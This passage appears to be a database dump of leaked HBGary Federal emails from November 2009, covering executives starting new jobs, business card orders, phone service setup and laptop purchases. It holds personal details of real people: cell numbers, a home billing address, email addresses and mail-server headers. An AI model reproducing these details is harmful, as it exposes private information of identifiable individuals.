AM, Jennifer Drury wrote:Hi Aaron,&nbsp;Congratulations on your new endeavor.Below is my contact information.&nbsp;Please keep in touch.&nbsp;Warm regards,Jen&nbsp;Jennifer Druryjdrury@keywcorp.comKEYW Corporation1334 Ashton Road, Suite AHanover, MD 21076Direct Number:&nbsp;443.270.5260Cell:&nbsp; 443-875-5053&nbsp;New Main Fax:&nbsp;443-270-5355www.keywcorp.com&lt;image001.jpg&gt;&nbsp;',11589,'aaron_hbgary_com/11589.html'),(57,'2009-11-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999631.M293314P3547Q57.eml','\"Aaron Barr\" <aaron@hbgary.com>','Google Talk','Do you have google talk setup for video / conf calls?-- Ted VeraPresidentHBGary Federal719-237-8623\r\n',4063,'aaron_hbgary_com/4063.html'),(58,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999631.M523020P3547Q58.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Google Talk','let me check\r\n\r\nOn Nov 24, 2009, at 10:45 AM, Ted Vera wrote:\r\n\r\n> Do you have google talk setup for video / conf calls?\r\n>\r\n> -- \r\n> Ted Vera\r\n> President\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n',11710,'aaron_hbgary_com/11710.html'),(59,'2009-11-24','ted@hbgary.com','/aaron@hbgary.com/new/1296999631.M747128P3547Q59.eml','aaron@hbgary.com','Business Development, Finance + 4 more items','I\'ve shared some documents with you:\r\n\r\nBusiness Development\r\nhttps://docs.google.com/a/hbgary.com/leaf?id=0B7u9N_XVzxNhYTM3ZTUwZmQtZjAzYS00OWQ2LTgwNTktMTc1ODE1YjlkMzFh&hl=en\r\n\r\nFinance\r\nhttps://docs.google.com/a/hbgary.com/leaf?id=0B7u9N_XVzxNhZTY0MTk3ZjQtMzRkMi00MzlhLTkwMjAtYjMyZjEzYTM2N2Zm&hl=en\r\n\r\nNew-hire forms\r\nhttps://docs.google.com/a/hbgary.com/leaf?id=0B7u9N_XVzxNhMzFiODZkOWItMmM0MS00YjM4LWI1OTctMWI1MDg5YTU3NTBi&hl=en\r\n\r\nPresentations\r\nhttps://docs.google.com/a/hbgary.com/leaf?id=0B7u9N_XVzxNhMjc0NWU3ZDUtMzkzYy00MTI0LTkzZGYtYmRjMTEwMTI2Njhl&hl=en\r\n\r\nProjects\r\nhttps://docs.google.com/a/hbgary.com/leaf?id=0B7u9N_XVzxNhMjUzYjIxYTItNDMxNC00OTg0LThlN2YtMDQ3ZWJjNGU1NmE4&hl=en\r\n\r\nWorking Documents\r\nhttps://docs.google.com/a/hbgary.com/leaf?id=0B7u9N_XVzxNhNGNhOTY5ZjQtOTBlNy00YjE5LWFkZDItZDI4ZDMyOGE0ZTEy&hl=en\r\n\r\nThey\'re not attachments -- they\'re stored online at Google Docs. To open  \r\nthese documents, just click the links above.\r\n\r\n',415,'aaron_hbgary_com/415.html'),(60,'2009-11-24','ted@hbgary.com','/aaron@hbgary.com/new/1296999631.M936150P3547Q60.eml','aaron@hbgary.com','Press Release Business Objectives','I\'ve shared a document with you:\r\n\r\nPress Release Business Objectives\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0Abu9N_XVzxNhZHFuNjV3dF8zaHNqa3FrZjQ&hl=en&invite=CL74upYG\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\n',2792,'aaron_hbgary_com/2792.html'),(61,'2009-11-24','\"eBuddy\" <noreply@ebuddymail.com>','/aaron@hbgary.com/new/1296999632.M112711P3547Q61.eml','aaron@hbgary.com','Welcome to eBuddy','\r\n\r\n\r\n\r\n  Your eBuddy ID\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n\r\n                        \r\n                          \r\n                          Welcome to eBuddy\r\n                        \r\n                      \r\n                    \r\n                  \r\n\r\n                  \r\n                    \r\n                      Hello aaronbarr\r\n\r\n                      \r\n                        \r\n                                                  \r\n                      \r\n                    \r\n\r\n                    \r\n                      Welcome to eBuddy!\r\n                    \r\n\r\n                    \r\n                      We just created your eBuddy ID and send you this email as a confirmation.\r\n                      Please save this email for future reference.\r\n                    \r\n\r\n                    \r\n                      Your eBuddy ID is:\r\n                      aaronbarr\r\n                    \r\n\r\n                    \r\n                      With your eBuddy ID, you can sign in with mulitple IM accounts at once and\r\n                      have all your friends in one buddy list. It will also give you access to extra eBuddy\r\n                      features, like webcam and picture sending.\r\n                    \r\n\r\n                    \r\n                      Now, you can use this eBuddy ID for easy access to all eBuddy\r\n                      products:\r\n                    \r\n\r\n                    \r\n                      \r\n                        \r\n                          eBuddy Web Messenger: Chat in\r\n                          your browser without any installations\r\n\r\n                          eBuddy Mobile Messenger: Download it for\r\n                          the best chat experience on your mobile phone\r\n\r\n                          eBuddy Lite Messenger: Chat on your mobile\r\n                          phone without any installations\r\n                        \r\n                      \r\n                    \r\n\r\n                    \r\n                      If you\r\n                      need help using eBuddy or have feedback, please send an email to feedback@ebuddy.com.\r\n                    \r\n\r\n                    \r\n                      Happy\r\n                      chatting!\r\n                    \r\n\r\n                    \r\n                      - The\r\n                      eBuddy Team -\r\n                    \r\n\r\n                    \r\n                      Note: If\r\n                      you forget your\r\n                      password, we will send it to this email address. Make sure to keep your email\r\n                      adress up to date in the eBuddy ID menu.\r\n                    \r\n                  \r\n\r\n                  Copyright &copy; 2003 - 2009 eBuddy. All rights\r\n                  reserved.\r\n                \r\n              \r\n            \r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n',6750,'aaron_hbgary_com/6750.html'),(62,'2009-11-24','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1296999632.M321918P3547Q62.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Palantir Meeting @ Mon Nov 30 2pm - 3:30pm 	(msteckman@palantirtech.com)','',13972,'aaron_hbgary_com/13972.html'),(63,'2009-11-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999632.M503997P3547Q63.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Capabilities','FYI________________Ted H. VeraPresident | COOHBGary Federal Inc.719-237-8623Begin forwarded message:\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Date: November 24, 2009 10:14:59 AM MSTTo: scott.chappell@smdc-cs.army.mil\r\nSubject: CapabilitiesHi Scott,Aaron Barr (my business partner, remember him?) and I landed new jobs.  If you were impressed with our previous capabilities, then you will be absolutely blown away by our new capabilities.  Seriously.\r\n\r\nWe joined HBGary, a small company I&#39;ve had on as a sub over the last several years.  They are quite literally a malware powerhouse.  Check out http://www.hbgary.com\r\n\r\nGoogle &quot;Greg Hoglund&quot;Let&#39;s try to link up for lunch sometime in the next week or two to discuss.  I hope you have a happy thanksgiving!Ted\r\n\r\n-- Ted VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n\r\n',9916,'aaron_hbgary_com/9916.html'),(64,'2009-11-24','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1296999632.M733347P3547Q64.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Is this pic ok?','Do you think this is ok, or should I take a new one?Ted&nbsp; ',9090,'aaron_hbgary_com/9090.html'),(65,'2009-11-24','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999632.M907265P3547Q65.eml','\"Ted Vera\" <tedvera@mac.com>,\"Ted Vera\" <tedvera@mac.com>,','Re: Is this pic ok?','I\'m going to take a new one________________Ted H. VeraPresident | COOHBGary Federal Inc.719-237-8623On Nov 24, 2009, at 11:43 AM, Ted Vera &lt;tedvera@mac.com&gt; wrote:Do you think this is ok, or should I take a new one?Ted&lt;2009_11_24_11_33_03_3.jpg&gt;&nbsp; ',9730,'aaron_hbgary_com/9730.html'),(66,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999633.M108886P3547Q66.eml','\"Ted Vera\" <tedvera@mac.com>','Re: Is this pic ok?','GoodFrom my iPhoneOn Nov 24, 2009, at 1:43 PM, Ted Vera &lt;tedvera@mac.com&gt; wrote:\r\nDo you think this is ok, or should I take a new one?Ted&lt;2009_11_24_11_33_03_3.jpg&gt;\r\n \r\n \r\n',13615,'aaron_hbgary_com/13615.html'),(67,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999633.M283756P3547Q67.eml','\"Ted Vera\" <tedvera@me.com>','Re: Is this pic ok?','KFrom my iPhoneOn Nov 24, 2009, at 1:47 PM, Ted Vera &lt;tedvera@me.com&gt; wrote:\r\nI&#39;m going to take a new one________________Ted H. VeraPresident | COOHBGary Federal Inc.719-237-8623On Nov 24, 2009, at 11:43 AM, Ted Vera &lt;tedvera@mac.com&gt; wrote:\r\nDo you think this is ok, or should I take a new one?Ted&lt;2009_11_24_11_33_03_3.jpg&gt;\r\n \r\n \r\n',3993,'aaron_hbgary_com/3993.html'),(68,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999633.M456259P3547Q68.eml','\"William Freeman\" <William.Freeman@ngc.com>,\"Vern Boyle\" <michael.boyle@ngc.com>,\"Mark Leary\" <mark.leary@ngc.com>,\"Scott Sage\" <scott.sage@ngc.com>,\"Jeff Yu\" <jeff.yu@ngc.com>,\"Brenton Greene\" <Brenton.Greene@ngc.com>,\"Valentino, Christopher (IS)\" <Christopher.Valentino@ngc.com>,Chistopher.barnett@ngc.com','New Position','Hi All,\r\n\r\nJust wanted to let you know since most of you expressed interest in  \r\nknowing where I land.  I will be starting Monday as the new CEO of  \r\nHBGary Federal.  Ted Vera is coming on as the President and COO.  It  \r\nshould be a fun ride.  HBGary has a discriminating set of products  \r\nfocused on malware analysis and incident response.\r\n\r\nTalk to you all at some point.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n',4187,'aaron_hbgary_com/4187.html'),(69,'2009-11-24','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1296999633.M666891P3547Q69.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     Chistopher.barnett@ngc.com\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550 Mailbox unavailable or access denied -  (state 14).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.216.86.206 with SMTP id w56mr1008762wee.1.1259094012946;\r\n        Tue, 24 Nov 2009 12:20:12 -0800 (PST)\r\nReturn-Path: \r\nReceived: from ?192.168.1.10? (ip98-169-60-105.dc.dc.cox.net [98.169.60.105])\r\n        by mx.google.com with ESMTPS id n12sm12775957gve.29.2009.11.24.12.20.11\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Tue, 24 Nov 2009 12:20:12 -0800 (PST)\r\nMessage-Id: \r\nFrom: Aaron Barr \r\nTo: William Freeman ,\r\n Vern Boyle ,\r\n Mark Leary ,\r\n Scott Sage ,\r\n Jeff Yu ,\r\n Brenton Greene ,\r\n \"Valentino, Christopher (IS)\" ,\r\n Chistopher.barnett@ngc.com\r\nContent-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes\r\nContent-Transfer-Encoding: 7bit\r\nMime-Version: 1.0 (Apple Message framework v936)\r\nSubject: New Position\r\nDate: Tue, 24 Nov 2009 15:20:53 -0500\r\nX-Mailer: Apple Mail (2.936)\r\n\r\nHi All,\r\n\r\nJust wanted to let you know since most of you expressed interest in  \r\nknowing where I land.  I will be starting Monday as the new CEO of  \r\nHBGary Federal.  Ted Vera is coming on as the President and COO.  It  \r\nshould be a fun ride.  HBGary has a discriminating set of products  \r\nfocused on malware analysis and incident response.\r\n\r\nTalk to you all at some point.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n',15460,'aaron_hbgary_com/15460.html'),(70,'2009-11-24','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999633.M958046P3547Q70.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Thank you for your order! 754455','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis is your card order.&nbsp; I have uploaded image and approved.&nbsp;\r\nIt&#8217;s rushed with an overnight delivery.&nbsp; I&#8217;ll send you other info as I get it.&nbsp;\r\nYou should have it by Friday\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: PsPrint.com\r\n[mailto:orders@psprint.com] \r\nSent: Tuesday, November 24, 2009 12:30 PM\r\nTo: penny@hbgary.com\r\nSubject: Thank you for your order! 754455\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    November 24,\r\n    2009 \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n     \r\n      \r\n      Hi\r\n      Penny Leavy,\r\n      \r\n     \r\n     \r\n      \r\n     \r\n     \r\n      \r\n      We\r\n      have received your order #754455. Thank you for choosing PsPrint!\r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n     \r\n     \r\n      \r\n      There\r\n      are a few steps left to complete your order. To avoid delay, you should: \r\n      &nbsp;&nbsp;&nbsp;&nbsp;1) Upload your print-ready artwork file(s) to\r\n      PsPrint at My\r\n      Artwork\r\n      &nbsp;&nbsp;&nbsp;&nbsp;2) Select artwork file(s) online for each\r\n      printing job at My\r\n      Jobs\r\n      &nbsp;&nbsp;&nbsp;&nbsp;3) Approve your artwork for printing or hardcopy\r\n      proof processing\r\n      \r\n     \r\n     \r\n      \r\n     \r\n     \r\n      \r\n      Note:\r\n      We\r\n      cannot begin processing your order until we receive your artwork. If your\r\n      print-ready artwork is received by 6:00pm Pacific (9:00pm Eastern),\r\n      Monday-Friday, your turnaround time will begin on that day. If you\r\n      ordered a hardcopy proof, turnaround begins when you approve your proof.\r\n      \r\n     \r\n     \r\n      \r\n     \r\n     \r\n      \r\n      If\r\n      you are unsure whether your artwork files are print-ready, you should\r\n      visit our Help\r\n      Center, post a note to your order, or call a customer service\r\n      specialist at 1.800.511.2009 and select option#3.\r\n      \r\n     \r\n     \r\n      \r\n     \r\n     \r\n      \r\n      To\r\n      check the status of your order, go to: My\r\n      Jobs\r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Order Summary\r\n        \r\n       \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          Billing\r\n          Information:\r\n          \r\n          \r\n          Shipping\r\n          Information:\r\n          \r\n         \r\n         \r\n          \r\n          Penny\r\n          Leavy \r\n          1294 terracina drive \r\n          el dorado hills, ca 95762 \r\n          \r\n          \r\n          aaron\r\n          barr \r\n          CEO \r\n          HBGary Federal \r\n          1223 potomac school roa \r\n          mc lean, va 22101 \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n         \r\n         \r\n          \r\n          Job\r\n          Number\r\n          \r\n          \r\n          Product\r\n          \r\n          \r\n          Target\r\n          Delivery Date:\r\n          \r\n          \r\n          Total\r\n          \r\n         \r\n         \r\n          \r\n          945322\r\n          \r\n          \r\n          Business\r\n          Cards\r\n          \r\n          \r\n          N/A\r\n          \r\n          \r\n          108.71\r\n          \r\n         \r\n         \r\n          \r\n         \r\n         \r\n          \r\n          Printing\r\n          &amp; Finishing\r\n          \r\n          \r\n          75.85\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          Proof:No\r\n          Hardcopy Proof \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          Paper:14\r\n          pt. Gloss Cover \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          Colors:Color\r\n          Front, Blank Back \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          Turnaround:1\r\n          Business Day \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          Quantity:250\r\n          (Offset Printing) \r\n          \r\n          \r\n         \r\n         \r\n          \r\n         \r\n         \r\n          \r\n          Mailing\r\n          Services\r\n          \r\n          \r\n          None\r\n          \r\n          \r\n          \r\n          0\r\n          \r\n         \r\n         \r\n          \r\n          Shipping\r\n          \r\n          \r\n          UPS Next\r\n          Day Air\r\n          \r\n          \r\n          \r\n          32.86\r\n          \r\n         \r\n         \r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          SUBTOTAL\r\n          \r\n          \r\n          \r\n          63.20\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          TAX\r\n          \r\n          \r\n          \r\n          0.00\r\n          \r\n         \r\n         \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          &nbsp;\r\n          \r\n          \r\n          TOTAL\r\n          \r\n          \r\n          \r\n          63.20\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      Envelopes\r\n      \r\n      \r\n      \r\n      Presentation Folders\r\n      \r\n      \r\n      Notepads \r\n      4&quot; x 6&quot;\r\n      \r\n      \r\n      Stickers\r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      500 for $0.32\r\n      each\r\n      \r\n      \r\n      250 for $2.79\r\n      each\r\n      \r\n      \r\n      50 for $2.48\r\n      each\r\n      \r\n      \r\n      250 for $0.16\r\n      each\r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    | My Account\r\n    |About\r\n    PsPrint | PsPrint Services | Help Center\r\n    | Shopping Cart | \r\n    | Choose a Product | My Artwork | My Jobs | Contact Us | Terms and\r\n    Conditions | Privacy Policy |\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    Copyright &copy; 2006\r\n    PSPrint LLC\r\n    2861 Mandela\r\n    Parkway\r\n    Oakland, CA 94608\r\n    Tel: 800.511.2009\r\n    \r\n   \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11204,'aaron_hbgary_com/11204.html'),(71,'2009-11-24','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999634.M166348P3547Q71.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Order Status for Order 754455','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOrder approved\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: PsPrint.com\r\n[mailto:orders@psprint.com] \r\nSent: Tuesday, November 24, 2009 12:42 PM\r\nTo: penny@hbgary.com\r\nSubject: Order Status for Order 754455\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n-------------------------------- \r\nOrder #: 754455 \r\nStatus: Payment Approved \r\n-------------------------------- \r\nDear Penny Leavy, \r\nYour order has been approved. \r\n\r\nThank you, \r\n\r\nCustomer Service \r\nPsPrint LLC \r\n2861 Mandela Parkway \r\nOakland, CA 94608 \r\nPhone: 800.511.2009 \r\nFax: 510.444.5369 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',1376,'aaron_hbgary_com/1376.html'),(72,'2009-11-24','\"AT&T Virtual Receptionist\" <attsupport@ringcentral.com>','/aaron@hbgary.com/new/1296999634.M357613P3547Q72.eml','\"Aaron Barr\" <aaron@hbgary.com>','Your toll-free number is now active','\r\n\r\n\r\np\r\n{\r\n  font-family:      Arial, Helvetica, sans-serif;\r\n  font-size:        10pt;\r\n}\r\ntd\r\n{\r\n  font-family:      Arial, Helvetica, sans-serif;\r\n  font-size:        10pt;\r\n}\r\nspan\r\n{\r\n  font-family:      Arial, Helvetica, sans-serif;\r\n}\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n        \r\n      \r\n\r\n\r\n      \r\n        \r\n          \r\n\r\n			\r\n\r\n  Welcome to AT&amp;T Virtual Receptionist! Your new business phone service is ready to use. Incoming calls to your business number (888) 260-4790 will be forwarded to the numbers you specified during setup.&nbsp;Call your toll-free business now to experience what your callers will hear!\r\n\r\nEnjoy the benefits of your new business phone service now!\r\n\r\n  Project a professional business presence with  your toll-free number\r\n  Greet your callers with professional auto-attendant business greeting\r\n  Never miss a call with advanced call forwarding\r\n  Make calls from your iPhone with your new business caller ID\r\n\r\nWant to update your settings?\r\n\r\n  Tap the AT&amp;T Virtual Receptionist app on your iPhone to change your settings.\r\n  Or, log into your personalized web console to update settings from your PC.\r\n\r\n\r\n\r\n    Talk for FREE!\r\n    Enjoy 60 FREE minutes included with your toll-free number every month. If you need more minutes, upgrade to one of the AT&amp;T Virtual Receptionist paid plans, which start as low as $4.99 per month.\r\n\r\n\r\n\r\n  We are always looking for opportunities to make this product even better. Drop us a line if you have any feedback!\r\n\r\nThanks for using AT&amp;T Virtual Receptionist!\r\n\r\n		  \r\n		\r\n      \r\n\r\n      \r\n        \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n		    \r\n                    \r\n                      \r\n                        Copyright 2009 RingCentral, Inc. All rights reserved. RingCentral is a registered trademark of RingCentral, Inc.\r\n                      \r\n                      \r\n999&nbsp;Baker&nbsp;Way, Suite&nbsp;500, San&nbsp;Mateo, CA&nbsp;94404, USA.\r\n                    \r\n                    \r\nYou are receiving this email as a registered subscriber of RingCentral. By subscribing to and/or using RingCentral, you acknowledge\r\nagreement to our Terms of Use.\r\n                    \r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n',10459,'aaron_hbgary_com/10459.html'),(73,'2009-11-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999634.M712506P3547Q73.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: Order Status for Order 754455','Thanks Penny.Got time to talk now?AaronOn Nov 24, 2009, at 3:46 PM, Penny Hoglund wrote:Order approved&nbsp;From:&nbsp;PsPrint.com [mailto:orders@psprint.com]&nbsp;Sent:&nbsp;Tuesday, November 24, 2009 12:42 PMTo:&nbsp;penny@hbgary.comSubject:&nbsp;Order Status for Order 754455&nbsp;--------------------------------&nbsp;Order #: 754455&nbsp;Status: Payment Approved&nbsp;--------------------------------&nbsp;Dear Penny Leavy,&nbsp;Your order has been approved.&nbsp;Thank you,&nbsp;Customer Service&nbsp;PsPrint LLC&nbsp;2861 Mandela Parkway&nbsp;Oakland, CA 94608&nbsp;Phone: 800.511.2009&nbsp;Fax: 510.444.5369',128,'aaron_hbgary_com/128.html'),(74,'2009-11-24','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999634.M894407P3547Q74.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Order Status for Order 754455','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI am on a con call &nbsp;then I&#8217;m with the CPA, \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, November 24, 2009 12:56 PM\r\nTo: Penny Hoglund\r\nSubject: Re: Order Status for Order 754455\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Penny.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGot time to talk now?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 24, 2009, at 3:46 PM, Penny Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOrder approved\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;PsPrint.com\r\n[mailto:orders@psprint.com]&nbsp;\r\nSent:&nbsp;Tuesday, November\r\n24, 2009 12:42 PM\r\nTo:&nbsp;penny@hbgary.com\r\nSubject:&nbsp;Order Status for\r\nOrder 754455\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------&nbsp;\r\nOrder #: 754455&nbsp;\r\nStatus: Payment Approved&nbsp;\r\n--------------------------------&nbsp;\r\nDear Penny Leavy,&nbsp;\r\nYour order has been approved.&nbsp;\r\n\r\nThank you,&nbsp;\r\n\r\nCustomer Service&nbsp;\r\nPsPrint LLC&nbsp;\r\n2861 Mandela Parkway&nbsp;\r\nOakland, CA 94608&nbsp;\r\nPhone: 800.511.2009&nbsp;\r\nFax: 510.444.5369\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6028,'aaron_hbgary_com/6028.html'),(75,'2009-11-24','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1296999635.M310129P3547Q76.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: laptops and projectors for Ted and Aaron','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nPenny is working on getting your Business cards for you by next\r\nweek.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGARY, Inc.\r\n\r\n3604 Fair Oaks Blvd.  Suite 250\r\n\r\nSacramento, CA  95864\r\n\r\ntel:   916-459-4727  ext.  101\r\n\r\nfax:  916-481-1460\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: DeeAnn Buonaccorsi\r\n[mailto:deeann@hbgary.com] \r\nSent: Tuesday, November 24, 2009 2:10 PM\r\nTo: \'Aaron Barr\'\r\nSubject: RE: laptops and projectors for Ted and Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nMy supplier just called he does not supply Apple.&nbsp; I have a\r\ncall in with a different supplier,&nbsp; I hope to hear from them soon.&nbsp;\r\nSorry for &nbsp;the inconvenience.&nbsp; &nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGARY, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\ntel:&nbsp;&nbsp; 916-459-4727&nbsp; ext.&nbsp; 101\r\n\r\nfax:&nbsp; 916-481-1460\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, November 23, 2009 2:36 PM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: laptops and projectors for Ted and Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThank you Deeann.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 23, 2009, at 5:34 PM, &quot;DeeAnn Buonaccorsi&quot; 